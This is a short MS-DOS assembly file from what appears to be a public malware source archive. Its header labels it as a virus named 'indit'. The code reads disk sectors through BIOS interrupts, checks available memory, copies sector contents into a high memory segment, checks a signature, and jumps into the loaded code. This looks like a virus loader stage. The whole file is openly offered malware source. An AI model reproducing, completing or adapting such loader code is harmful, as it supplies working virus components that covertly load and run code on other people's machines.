MalwareSourceCode/MSDOS/I-Index/Virus.MSDOS.Unknown.indit.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

92 lines
1.0 KiB
NASM

start segment
assume cs:start,ds:start
boot equ 1000h
push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call cim
cim: pop bx
mov si,5aa5h
mov di,55aah
push cs
pop es
ujra: add bx,1000
cmp bx,1000
jnc kilep1
jmp kilep
kilep1: push bx
mov ax,201h
mov dx,0
mov cx,1
int 13h
pop bx
jnc tovabb
cmp ah,6
jz kilep1
jmp kilep
tovabb: cmp si,0a55ah
jz kilep
mov ax,cs
add ax,1000h
push bx
push ax
int 12h
mov bx,64
mul bx
sub ax,1000h
mov bx,ax
pop ax
cmp bx,ax
jnc oke1
pop bx
jmp kilep
oke1: pop bx
oke: mov es,ax
mov ax,cs:[bx+18h]
mov cx,cs:[bx+1ah]
mul cx
mov cx,ax
mov ax,cs:[bx+13h]
mov dx,0
div cx
sub bx,1000
push bx
mov ch,al
mov cl,1
mov bx,100h
mov dx,0
mov ax,208h
int 13h
pop bx
jc kilep
push bx
mov bx,100h
mov ax,es:[bx]
cmp ax,2452h
pop bx
jnz kilep
mov ax,bx
add ax,offset kilep-offset cim
push cs
push ax
mov ax,10ah
push es
push ax
retf
kilep: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
cime: dw 0
start ends
end